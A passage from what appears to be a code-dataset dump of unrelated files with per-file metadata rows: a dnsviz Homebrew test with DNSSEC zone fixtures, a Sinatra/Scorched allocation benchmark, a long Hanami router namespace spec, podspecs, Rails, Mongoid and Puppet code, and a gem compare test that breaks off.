D2WDMpH4Ip+yi2wQFmCq8iPWWdHo/vGig/rG
+509RbOLHbeFaO84PrPvw/dS6kjDupQbyG1t
8Hx0XzlvitBZjpYFq3bd/k0zU/S39IroeDfU
xR/BlI2bEaIPxgG2AulJjS6lnYigfko4AKfe
AqssO7P1jpiUUYtFpivK3ybl03o= )
3600 NS example.com.
3600 RRSIG NS 10 2 3600 (
20230110031403 20190111031403 39026 example.com.
bssTLRwAeyn0UtOjWKVbaJdq+lNbeOKBE2a4
QdR2lrgNDVenY8GciWarYcd5ldPfrfX5t5I9
QwiIsv/xAPgksVlmWcZGVDAAzzlglVhCg2Ys
J7YEcV2DDIMZLx2hm6gu9fKaMcqp8lhUSCBD
h4VTswLV1HoUDGYwEsjLEtiRin8= )
3600 A 127.0.0.1
3600 RRSIG A 10 2 3600 (
20230110031403 20190111031403 39026 example.com.
TH+PWGhFd3XL09IkCeAd0TNrWVsj+bAcQESx
F27lCgMnYYebiy86QmhEGzM+lu7KX1Vn15qn
2KnyEKofW+kFlCaOMZDmwBcU0PznBuGJ/oQ9
2OWe3X2bw5kMEQdxo7tjMlDo+v975VaZgbCz
od9pETQxdNBHkEfKmxWpenMi9PI= )
3600 AAAA ::1
3600 RRSIG AAAA 10 2 3600 (
20230110031403 20190111031403 39026 example.com.
qZM60MUJp95oVqQwdW03eoCe5yYu8hdpnf2y
Z7eyxTDg1qEgF+NUF6Spe8OKsu2SdTolT0CF
8X068IGTEr2rbFK/Ut1owQEyYuAnbNGBmg99
+yo1miPgxpHL/GbkMiSK7q6phMdF+LOmGXkQ
G3wbQ5LUn2R7uSPehDwXiRbD0V8= )
3600 NSEC example.com. A NS SOA AAAA RRSIG NSEC DNSKEY
3600 RRSIG NSEC 10 2 3600 (
20230110031403 20190111031403 39026 example.com.
Rdx/TmynYt0plItVI10plFis6PbsH29qyXBw
NLOEAMNLvU6IhCOlv7T8YxZWsamg3NyM0det
NgQqIFfJCfLEn2mzHdqfPeVqxyKgXF1mEwua
TZpE8nFw95buxV0cg67N8VF7PZX6zr1aZvEn
b022mYFpqaGMhaA6f++lGChDw80= )
3600 DNSKEY 256 3 10 (
AwEAAaqQ5dsqndLRH+9j/GbtUObxgAEvM7VH
/y12xjouBFnqTkAL9VvonNwYkFjnCZnIriyl
jOkNDgE4G8pYzYlK13EtxBDJrUoHU11ZdL95
ZQEpd8hWGqSG2KQiCYwAAhmG1qu+I+LtexBe
kNwT3jJ1BMgGB3xsCluUYHBeSlq9caU/
) ; ZSK; alg = RSASHA512 ; key id = 39026
3600 DNSKEY 257 3 10 (
AwEAAaLSZl7J7bJnFAcRrqWE7snJvJ1uzkS8
p1iq3ciHnt6rZJq47HYoP5TCnKgCpje/HtZt
L/7n8ixPjhgj8/GkfOwoWq5kU3JUN2uX6pBb
FhSsVeNe2JgEFtloZSMHhSU52yS009WcjZJV
O2QX2JXcLy0EMI2S4JIFLa5xtatXQ2/F
) ; KSK; alg = RSASHA512 ; key id = 34983
3600 RRSIG DNSKEY 10 2 3600 (
20230110031403 20190111031403 34983 example.com.
g1JfHNrvVch3pAX3/qHuiivUeSawpmO7h2Pp
Hqt9hPbR7jpzOxbOzLAxHopMR/xxXN1avyI5
dh23ySy1rbRMJprz2n09nYbK7m695u7P18+F
sCmI8pjqtpJ0wg/ltEQBCRNaYOrHvK+8NLvt
PGJqJru7+7aaRr1PP+ne7Wer+gE= )
EOS
(testpath/"example.com.zone-delegation").write <<~EOS
example.com. IN NS ns1.example.com.
ns1.example.com. IN A 127.0.0.1
example.com. IN DS 34983 10 1 EC358CFAAEC12266EF5ACFC1FEAF2CAFF083C418
example.com. IN DS 34983 10 2 608D3B089D79D554A1947BD10BEC0A5B1BDBE67B4E60E34B1432ED00 33F24B49
EOS
system "#{bin}/dnsviz", "probe", "-d", "0", "-A",
"-x", "example.com:example.com.zone.signed",
"-N", "example.com:example.com.zone-delegation",
"-D", "example.com:example.com.zone-delegation",
"-o", "example.com.json",
"example.com"
system "#{bin}/dnsviz", "graph", "-r", "example.com.json", "-Thtml", "-o", "/dev/null"
system "#{bin}/dnsviz", "grok", "-r", "example.com.json", "-o", "/dev/null"
system "#{bin}/dnsviz", "print", "-r", "example.com.json", "-o", "/dev/null"
end
end
| 43.661871 | 139 | 0.703081 |
e26fd0df749e865264d671a4e9efbe0c506b70cf | 783 | require 'ruby-prof'
require 'rack/mock'
require 'allocation_stats'
require 'scorched'
require 'sinatra/base'
scorched = Class.new(Scorched::Controller) do
get '/' do
'Hello world'
end
end
sinatra = Class.new(Sinatra::Base) do
get '/' do
'Hello world'
end
end
scorched_stats = AllocationStats.new(burn: 5).trace do
scorched.call(Rack::MockRequest.env_for('/'))
end
sinatra_stats = AllocationStats.new(burn: 5).trace do
sinatra.call(Rack::MockRequest.env_for('/'))
end
puts "Scorched Allocations: #{scorched_stats.allocations.all.size}"
puts "Scorched Memsize: #{scorched_stats.allocations.bytes.to_a.inject(&:+)}"
puts "Sinatra Allocations: #{sinatra_stats.allocations.all.size}"
puts "Sinatra Memsize: #{sinatra_stats.allocations.bytes.to_a.inject(&:+)}"
| 23.029412 | 77 | 0.735632 |
f84d6b17aa7aefa36cec63cb71e55d50eb718264 | 17,221 | RSpec.describe Hanami::Router do
before do
@router = Hanami::Router.new
@app = Rack::MockRequest.new(@router)
end
after do
@router.reset!
end
describe '#namespace' do
it 'recognizes get path' do
@router.namespace 'trees' do
get '/plane-tree', to: ->(_env) { [200, {}, ['Trees (GET)!']] }
end
expect(@app.request('GET', '/trees/plane-tree', lint: true).body).to eq('Trees (GET)!')
end
it 'recognizes post path' do
@router.namespace 'trees' do
post '/sequoia', to: ->(_env) { [200, {}, ['Trees (POST)!']] }
end
expect(@app.request('POST', '/trees/sequoia', lint: true).body).to eq('Trees (POST)!')
end
it 'recognizes put path' do
@router.namespace 'trees' do
put '/cherry-tree', to: ->(_env) { [200, {}, ['Trees (PUT)!']] }
end
expect(@app.request('PUT', '/trees/cherry-tree', lint: true).body).to eq('Trees (PUT)!')
end
it 'recognizes patch path' do
@router.namespace 'trees' do
patch '/cedar', to: ->(_env) { [200, {}, ['Trees (PATCH)!']] }
end
expect(@app.request('PATCH', '/trees/cedar', lint: true).body).to eq('Trees (PATCH)!')
end
it 'recognizes delete path' do
@router.namespace 'trees' do
delete '/pine', to: ->(_env) { [200, {}, ['Trees (DELETE)!']] }
end
expect(@app.request('DELETE', '/trees/pine', lint: true).body).to eq('Trees (DELETE)!')
end
it 'recognizes trace path' do
@router.namespace 'trees' do
trace '/cypress', to: ->(_env) { [200, {}, ['Trees (TRACE)!']] }
end
expect(@app.request('TRACE', '/trees/cypress', lint: true).body).to eq('Trees (TRACE)!')
end
it 'recognizes options path' do
@router.namespace 'trees' do
options '/oak', to: ->(_env) { [200, {}, ['Trees (OPTIONS)!']] }
end
expect(@app.request('OPTIONS', '/trees/oak', lint: true).body).to eq('Trees (OPTIONS)!')
end
describe 'nested' do
it 'defines HTTP methods correctly' do
@router.namespace 'animals' do
namespace 'mammals' do
get '/cats', to: ->(_env) { [200, {}, ['Meow!']] }
end
end
expect(@app.request('GET', '/animals/mammals/cats', lint: true).body).to eq('Meow!')
end
it 'defines #resource correctly' do
@router.namespace 'users' do
namespace 'management' do
resource 'avatar'
end
end
expect(@app.request('GET', '/users/management/avatar', lint: true).body).to eq('Avatar::Show')
expect(@router.path(:users_management_avatar)).to eq('/users/management/avatar')
end
it 'defines #resources correctly' do
@router.namespace 'vegetals' do
namespace 'pretty' do
resources 'flowers'
end
end
expect(@app.request('GET', '/vegetals/pretty/flowers', lint: true).body).to eq('Flowers::Index')
expect(@router.path(:vegetals_pretty_flowers)).to eq('/vegetals/pretty/flowers')
end
it 'defines #redirect correctly' do
@router.namespace 'users' do
namespace 'settings' do
redirect '/image', to: '/avatar'
end
end
expect(@app.request('GET', 'users/settings/image', lint: true).headers['Location']).to eq('/users/settings/avatar')
end
end
describe 'redirect' do
before do
@router.namespace 'users' do
get '/home', to: ->(_env) { [200, {}, ['New Home!']] }
redirect '/dashboard', to: '/home'
end
end
it 'recognizes get path' do
expect(@app.request('GET', '/users/dashboard', lint: true).headers['Location']).to eq('/users/home')
expect(@app.request('GET', '/users/dashboard', lint: true).status).to eq(301)
end
end
describe 'restful resources' do
before do
@router.namespace 'vegetals' do
resources 'flowers'
end
end
it 'recognizes get index' do
expect(@router.path(:vegetals_flowers)).to eq('/vegetals/flowers')
expect(@app.request('GET', '/vegetals/flowers', lint: true).body).to eq('Flowers::Index')
end
it 'recognizes get new' do
expect(@router.path(:new_vegetals_flower)).to eq('/vegetals/flowers/new')
expect(@app.request('GET', '/vegetals/flowers/new', lint: true).body).to eq('Flowers::New')
end
it 'recognizes post create' do
expect(@router.path(:vegetals_flowers)).to eq('/vegetals/flowers')
expect(@app.request('POST', '/vegetals/flowers', lint: true).body).to eq('Flowers::Create')
end
it 'recognizes get show' do
expect(@router.path(:vegetals_flower, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('GET', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Show 23')
end
it 'recognizes get edit' do
expect(@router.path(:edit_vegetals_flower, id: 23)).to eq('/vegetals/flowers/23/edit')
expect(@app.request('GET', '/vegetals/flowers/23/edit', lint: true).body).to eq('Flowers::Edit 23')
end
it 'recognizes patch update' do
expect(@router.path(:vegetals_flower, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('PATCH', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Update 23')
end
it 'recognizes delete destroy' do
expect(@router.path(:vegetals_flower, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('DELETE', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Destroy 23')
end
describe ':only option' do
before do
@router.namespace 'electronics' do
resources 'keyboards', only: %i[index edit]
end
end
it 'recognizes only specified paths' do
expect(@router.path(:electronics_keyboards)).to eq('/electronics/keyboards')
expect(@app.request('GET', '/electronics/keyboards', lint: true).body).to eq('Keyboards::Index')
expect(@router.path(:edit_electronics_keyboard, id: 23)).to eq('/electronics/keyboards/23/edit')
expect(@app.request('GET', '/electronics/keyboards/23/edit', lint: true).body).to eq('Keyboards::Edit 23')
end
it 'does not recognize other paths' do
expect(@app.request('GET', '/electronics/keyboards/new', lint: true).status).to eq(404)
expect(@app.request('POST', '/electronics/keyboards', lint: true).status).to eq(405)
expect(@app.request('GET', '/electronics/keyboards/23', lint: true).status).to eq(404)
expect(@app.request('PATCH', '/electronics/keyboards/23', lint: true).status).to eq(405)
expect(@app.request('DELETE', '/electronics/keyboards/23', lint: true).status).to eq(405)
expect { @router.path(:new_electronics_keyboards) }.to raise_error(Hanami::Routing::InvalidRouteException, 'No route (path) could be generated for :new_electronics_keyboards - please check given arguments')
end
end
describe ':except option' do
before do
@router.namespace 'electronics' do
resources 'keyboards', except: %i[new show update destroy]
end
end
it 'recognizes only the non-rejected paths' do
expect(@router.path(:electronics_keyboards)).to eq('/electronics/keyboards')
expect(@app.request('GET', '/electronics/keyboards', lint: true).body).to eq('Keyboards::Index')
expect(@router.path(:edit_electronics_keyboard, id: 23)).to eq('/electronics/keyboards/23/edit')
expect(@app.request('GET', '/electronics/keyboards/23/edit', lint: true).body).to eq('Keyboards::Edit 23')
expect(@router.path(:electronics_keyboards)).to eq('/electronics/keyboards')
expect(@app.request('POST', '/electronics/keyboards', lint: true).body).to eq('Keyboards::Create')
end
it 'does not recognize other paths' do
expect(@app.request('GET', '/electronics/keyboards/new', lint: true).status).to eq(404)
expect(@app.request('PATCH', '/electronics/keyboards/23', lint: true).status).to eq(405)
expect(@app.request('DELETE', '/electronics/keyboards/23', lint: true).status).to eq(405)
expect { @router.path(:new_electronics_keyboards) }.to raise_error(Hanami::Routing::InvalidRouteException, 'No route (path) could be generated for :new_electronics_keyboards - please check given arguments')
end
end
describe 'additional actions' do
before do
@router.namespace 'electronics' do
resources 'keyboards' do
collection { get 'search' }
member { get 'screenshot' }
end
end
end
it 'recognizes collection actions' do
expect(@router.path(:search_electronics_keyboards)).to eq('/electronics/keyboards/search')
expect(@app.request('GET', "/electronics/keyboards/search", lint: true).body).to eq('Keyboards::Search')
end
it 'recognizes member actions' do
expect(@router.path(:screenshot_electronics_keyboard, id: 23)).to eq('/electronics/keyboards/23/screenshot')
expect(@app.request('GET', "/electronics/keyboards/23/screenshot", lint: true).body).to eq('Keyboards::Screenshot 23')
end
end
end
describe 'named RESTful resources' do
before do
@router.namespace 'vegetals' do
resources 'flowers', as: 'tulips'
end
end
it 'recognizes get index' do
expect(@router.path(:vegetals_tulips)).to eq('/vegetals/flowers')
expect(@app.request('GET', '/vegetals/flowers', lint: true).body).to eq('Flowers::Index')
end
it 'recognizes get new' do
expect(@router.path(:new_vegetals_tulip)).to eq('/vegetals/flowers/new')
expect(@app.request('GET', '/vegetals/flowers/new', lint: true).body).to eq('Flowers::New')
end
it 'recognizes post create' do
expect(@router.path(:vegetals_tulips)).to eq('/vegetals/flowers')
expect(@app.request('POST', '/vegetals/flowers', lint: true).body).to eq('Flowers::Create')
end
it 'recognizes get show' do
expect(@router.path(:vegetals_tulip, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('GET', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Show 23')
end
it 'recognizes get edit' do
expect(@router.path(:edit_vegetals_tulip, id: 23)).to eq('/vegetals/flowers/23/edit')
expect(@app.request('GET', '/vegetals/flowers/23/edit', lint: true).body).to eq('Flowers::Edit 23')
end
it 'recognizes patch update' do
expect(@router.path(:vegetals_tulip, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('PATCH', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Update 23')
end
it 'recognizes delete destroy' do
expect(@router.path(:vegetals_tulip, id: 23)).to eq('/vegetals/flowers/23')
expect(@app.request('DELETE', '/vegetals/flowers/23', lint: true).body).to eq('Flowers::Destroy 23')
end
end
describe 'restful resource' do
before do
@router.namespace 'settings' do
resource 'avatar'
end
end
it 'recognizes get new' do
expect(@router.path(:new_settings_avatar)).to eq('/settings/avatar/new')
expect(@app.request('GET', '/settings/avatar/new', lint: true).body).to eq('Avatar::New')
end
it 'recognizes post create' do
expect(@router.path(:settings_avatar)).to eq('/settings/avatar')
expect(@app.request('POST', '/settings/avatar', lint: true).body).to eq('Avatar::Create')
end
it 'recognizes get show' do
expect(@router.path(:settings_avatar)).to eq('/settings/avatar')
expect(@app.request('GET', '/settings/avatar', lint: true).body).to eq('Avatar::Show')
end
it 'recognizes get edit' do
expect(@router.path(:edit_settings_avatar)).to eq('/settings/avatar/edit')
expect(@app.request('GET', '/settings/avatar/edit', lint: true).body).to eq('Avatar::Edit')
end
it 'recognizes patch update' do
expect(@router.path(:settings_avatar)).to eq('/settings/avatar')
expect(@app.request('PATCH', '/settings/avatar', lint: true).body).to eq('Avatar::Update')
end
it 'recognizes delete destroy' do
expect(@router.path(:settings_avatar)).to eq('/settings/avatar')
expect(@app.request('DELETE', '/settings/avatar', lint: true).body).to eq('Avatar::Destroy')
end
describe ':only option' do
before do
@router.namespace 'settings' do
resource 'profile', only: %i[edit update]
end
end
it 'recognizes only specified paths' do
expect(@router.path(:edit_settings_profile)).to eq('/settings/profile/edit')
expect(@app.request('GET', '/settings/profile/edit', lint: true).body).to eq('Profile::Edit')
expect(@router.path(:settings_profile)).to eq('/settings/profile')
expect(@app.request('PATCH', '/settings/profile', lint: true).body).to eq('Profile::Update')
end
it 'does not recognize other paths' do
expect(@app.request('GET', '/settings/profile', lint: true).status).to eq(405)
expect(@app.request('GET', '/settings/profile/new', lint: true).status).to eq(405)
expect(@app.request('POST', '/settings/profile', lint: true).status).to eq(405)
expect(@app.request('DELETE', '/settings/profile', lint: true).status).to eq(405)
expect { @router.path(:new_settings_profile) }.to raise_error(Hanami::Routing::InvalidRouteException, 'No route (path) could be generated for :new_settings_profile - please check given arguments')
end
end
describe ':except option' do
before do
@router.namespace 'settings' do
resource 'profile', except: %i[edit update]
end
end
it 'recognizes only the non-rejected paths' do
expect(@router.path(:settings_profile)).to eq('/settings/profile')
expect(@app.request('GET', '/settings/profile', lint: true).body).to eq('Profile::Show')
expect(@router.path(:new_settings_profile)).to eq('/settings/profile/new')
expect(@app.request('GET', '/settings/profile/new', lint: true).body).to eq('Profile::New')
expect(@router.path(:settings_profile)).to eq('/settings/profile')
expect(@app.request('POST', '/settings/profile', lint: true).body).to eq('Profile::Create')
expect(@router.path(:settings_profile)).to eq('/settings/profile')
expect(@app.request('DELETE', '/settings/profile', lint: true).body).to eq('Profile::Destroy')
end
it 'does not recognize other paths' do
expect(@app.request('GET', '/settings/profile/edit', lint: true).status).to eq(404)
expect { @router.path(:edit_settings_profile) }.to raise_error(Hanami::Routing::InvalidRouteException, 'No route (path) could be generated for :edit_settings_profile - please check given arguments')
end
end
end
describe 'named RESTful resource' do
before do
@router.namespace 'settings' do
resource 'avatar', as: 'icon'
end
end
it 'recognizes get new' do
expect(@router.path(:new_settings_icon)).to eq('/settings/avatar/new')
expect(@app.request('GET', '/settings/avatar/new', lint: true).body).to eq('Avatar::New')
end
it 'recognizes post create' do
expect(@router.path(:settings_icon)).to eq('/settings/avatar')
expect(@app.request('POST', '/settings/avatar', lint: true).body).to eq('Avatar::Create')
end
it 'recognizes get show' do
expect(@router.path(:settings_icon)).to eq('/settings/avatar')
expect(@app.request('GET', '/settings/avatar', lint: true).body).to eq('Avatar::Show')
end
it 'recognizes get edit' do
expect(@router.path(:edit_settings_icon)).to eq('/settings/avatar/edit')
expect(@app.request('GET', '/settings/avatar/edit', lint: true).body).to eq('Avatar::Edit')
end
it 'recognizes patch update' do
expect(@router.path(:settings_icon)).to eq('/settings/avatar')
expect(@app.request('PATCH', '/settings/avatar', lint: true).body).to eq('Avatar::Update')
end
it 'recognizes delete destroy' do
expect(@router.path(:settings_icon)).to eq('/settings/avatar')
expect(@app.request('DELETE', '/settings/avatar', lint: true).body).to eq('Avatar::Destroy')
end
end
describe 'mount' do
before do
@router.namespace 'api' do
mount Backend::App, at: '/backend'
end
end
[ 'get', 'post', 'delete', 'put', 'patch', 'trace', 'options', 'link', 'unlink' ].each do |verb|
it "accepts #{ verb } for a namespaced mount" do
expect(@app.request(verb.upcase, '/api/backend', lint: true).body).to eq('home')
end
end
end
end
end
| 40.048837 | 216 | 0.610998 |
18145513095fc0e6c85e215c1f07a91066af0996 | 984 |
Pod::Spec.new do |spec|
spec.name = "GENTransition"
spec.version = "0.0.1"
spec.summary = "A Lib For transition."
spec.description = <<-DESC
GENTransition是转场的封装
DESC
spec.homepage = "https://github.com/StoneStoneStoneWang/GENKit.git"
spec.license = { :type => "MIT", :file => "LICENSE.md" }
spec.author = { "StoneStoneStoneWang" => "[email protected]" }
spec.platform = :ios, "10.0"
spec.ios.deployment_target = "10.0"
spec.swift_version = '5.0'
spec.pod_target_xcconfig = { 'DEFINES_MODULE' => 'YES' }
spec.static_framework = true
spec.frameworks = 'UIKit', 'Foundation'
spec.source = { :git => "https://github.com/StoneStoneStoneWang/GENKit.git", :tag => "#{spec.version}" }
spec.vendored_frameworks = 'Framework/GENTransition/GENTransition.framework'
spec.dependency 'GENBase'
spec.dependency 'GENNavi'
spec.dependency 'GENColor'
spec.dependency 'GENCommon'
end
| 28.941176 | 106 | 0.648374 |
08657376bc59b6e1a48b0f897fa1d6e1ed73b11e | 600 | module RailsAdmin
module Models
module Setup
module CategoryAdmin
extend ActiveSupport::Concern
included do
rails_admin do
weight 850
navigation_label 'Administration'
visible { User.current_super_admin? }
edit do
field :_id do
read_only { !bindings[:object].new_record? }
end
field :title
field :description
end
fields :_id, :title, :description, :updated_at
end
end
end
end
end
end
| 20.689655 | 60 | 0.516667 |
aba1551fc7cf449312fd627a5a468e13553548e5 | 40 | require 'omniauth/strategies/jwt_email'
| 20 | 39 | 0.85 |
79077079819362fd67fb6a2ce045842ca5ca5de6 | 3,301 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Action Cable endpoint configuration
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Don't mount Action Cable in the main server process.
# config.action_cable.mount_path = nil
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "llibrary-r5_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
end
| 40.753086 | 100 | 0.757952 |
185a216f51a88c382dea48d2f003caeb0e02b1d6 | 1,933 | #
# Be sure to run `pod lib lint XNNetWorkManager.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'XNNetWorkManager'
s.version = '0.1.26'
s.summary = '对AFNetWorking封装的网络请求工具'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
A network request class for AFNetWorking package, which can determine repeated submissions, set request headers and request types, and inject code before returning data after the request is completed.
DESC
s.homepage = 'https://github.com/yexiannan/XNNetWorkManager'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Luigi' => '[email protected]' }
s.source = { :git => 'https://github.com/yexiannan/XNNetWorkManager.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '9.0'
s.source_files = 'XNNetWorkManager/Classes/**/*'
# s.resource_bundles = {
# 'XNNetWorkManager' => ['XNNetWorkManager/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
s.dependency 'AFNetworking', '~> 4.0'
s.dependency 'SVProgressHUD'
s.dependency 'YYModel'
# s.user_target_xcconfig = { 'CLANG_ALLOW_NON_MODULAR_INCLUDES_IN_FRAMEWORK_MODULES' => 'YES' }
end
| 40.270833 | 200 | 0.673047 |
e2203a85c11cf4651b1ee26d0f5b29fc1e74a7ba | 2,038 | class SystemSettings < ActiveRecord::Base
self.table_name = 'system_settings'
attr_accessor :public_role, :default_markup_style
attr_accessor :site_default_page, :not_found_page, :permission_denied_page,
:session_expired_page
attr_accessible :id,:site_name, :site_subtitle, :footer_message, :public_role_id,
:session_timeout, :default_markup_style_id, :site_default_page_id,
:not_found_page_id, :permission_denied_page_id, :session_expired_page_id,
:menu_depth
def public_role
@public_role ||= Role.find(self.public_role_id)
end
def default_markup_style
@default_markup_style ||= if self.default_markup_style_id
MarkupStyle.find(self.default_markup_style_id)
else
MarkupStyle.new(id: nil,
name: '(None)')
end
@default_markup_style
end
def site_default_page
@site_default_page ||= ContentPage.find(self.site_default_page_id)
end
def not_found_page
@not_found_page ||= ContentPage.find(self.not_found_page_id)
end
def permission_denied_page
@permission_denied_page ||= ContentPage.find(self.permission_denied_page_id)
end
def session_expired_page
@session_expired_page ||= ContentPage.find(self.session_expired_page_id)
end
# Returns an array of system page settings for a given page,
# or nil if the page is not a system page.
def system_pages(pageid)
pages = []
pages << "Site default page" if self.site_default_page_id == pageid
pages << "Not found page" if self.not_found_page_id == pageid
pages << "Permission denied page" if self.permission_denied_page_id == pageid
pages << "Session expired page" if self.session_expired_page_id == pageid
if !pages.empty?
return pages
else
return nil
end
end
end
| 34.542373 | 115 | 0.645731 |
21bd95c318f5101ecb875681628955a0ded5bd11 | 694 | # Finds an existing file from a module and returns its path.
# (Documented in 3.x stub)
#
# @since 4.8.0
#
Puppet::Functions.create_function(:find_file, Puppet::Functions::InternalFunction) do
dispatch :find_file do
scope_param
repeated_param 'String', :paths
end
dispatch :find_file_array do
scope_param
repeated_param 'Array[String]', :paths_array
end
def find_file_array(scope, array)
find_file(scope, *array)
end
def find_file(scope, *args)
args.each do |file|
found = Puppet::Parser::Files.find_file(file, scope.compiler.environment)
if found && Puppet::FileSystem.exist?(found)
return found
end
end
nil
end
end
| 22.387097 | 85 | 0.693084 |
1da79b187057f022558bf3ab8ce2a0f80c769dcf | 1,387 | # encoding: utf-8
module Mongoid #:nodoc:
module Fields #:nodoc:
module Internal #:nodoc:
# Defines the behaviour for date fields.
class Date
include Serializable
include Timekeeping
# Deserialize this field from the type stored in MongoDB to the type
# defined on the model.
#
# @example Deserialize the field.
# field.deserialize(object)
#
# @param [ Object ] object The object to cast.
#
# @return [ Date ] The converted date.
#
# @since 2.1.0
def deserialize(object)
return nil if object.blank?
if Mongoid::Config.use_utc?
object.to_date
else
::Date.new(object.year, object.month, object.day)
end
end
protected
# Converts the date to a time to persist.
#
# @example Convert the date to a time.
# Date.convert_to_time(date)
#
# @param [ Date ] value The date to convert.
#
# @return [ Time ] The date converted.
#
# @since 2.1.0
def convert_to_time(value)
value = ::Date.parse(value) if value.is_a?(::String)
value = ::Date.civil(*value) if value.is_a?(::Array)
::Time.utc(value.year, value.month, value.day)
end
end
end
end
end
| 26.673077 | 76 | 0.542177 |
87f8fab3d5fe99773bfecb109ff552bf13766aa7 | 1,199 | class Friendship < ApplicationRecord
belongs_to :user
belongs_to :friend, class_name: 'User', foreign_key: 'friend_id'
validates_presence_of :user_id, :friend_id
# return true if the users are (possibly pending) friends
def self.exists?(user, friend)
!find_by_user_id_and_friend_id(user, friend).nil?
end
# Record a pending friend request
def self.request(user, friend)
return if user == friend or Friendship.exists?(user, friend)
transaction do
create(user: user, friend: friend, status: 'requested')
create(user: friend, friend: user, status: 'pending')
end
end
# Accept a friend request.
def self.accept(user, friend)
transaction do
accept_one_side(user, friend)
accept_one_side(friend, user)
end
end
# delete a friendship or cancel a pending request.
def self.breakup(user, friend)
transaction do
Friendship.find_by_user_id_and_friend_id(user, friend).destroy
Friendship.find_by_user_id_and_friend_id(friend, user).destroy
end
end
def self.accept_one_side(user, friend)
request = find_by_user_id_and_friend_id(user, friend)
request.status = 'accepted'
request.save!
end
end
| 27.25 | 68 | 0.721435 |
612dc8068aee7bb8e4e0171b1ee0b3337332faea | 783 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
module Google
module Cloud
module Debugger
module V2
VERSION = "0.0.1"
end
end
end
end
| 27 | 74 | 0.731801 |
6a1dea3de1db56a82387edbdcf998c02b556028f | 295 | # frozen_string_literal: true
# This file is used by Rack-based servers to start the application.
require_relative 'config/environment'
require_relative 'lib/rack/x_robots_tag'
use Rack::XRobotsTag
use Rack::CanonicalHost, ENV['CANONICAL_HOST'] if ENV['CANONICAL_HOST']
run Rails.application
| 26.818182 | 71 | 0.80678 |
b9b099b925130a5d63da100ba75e12a97d9c4bf0 | 924 | require_relative '../test_helper'
require 'rubygems/user_interaction'
require 'rubygems/mock_gem_ui'
require 'rubygems/commands/compare_command'
class TestGemCommandsCompareCommand < Minitest::Test
include Gem::DefaultUserInteraction
def setup
super
@command = Gem::Commands::CompareCommand.new
@ui = Gem::MockGemUi.new
end
def test_execute_no_gemfile
@command.options[:args] = []
e = assert_raises Gem::CommandLineError do
use_ui @ui do
@command.execute
end
end
assert_match 'Please specify a gem (e.g. gem compare foo VERSION [VERSION ...])', e.message
end
def test_execute_no_patch
@command.options[:args] = ['my_gem']
e = assert_raises Gem::CommandLineError do
use_ui @ui do
@command.execute
end
end
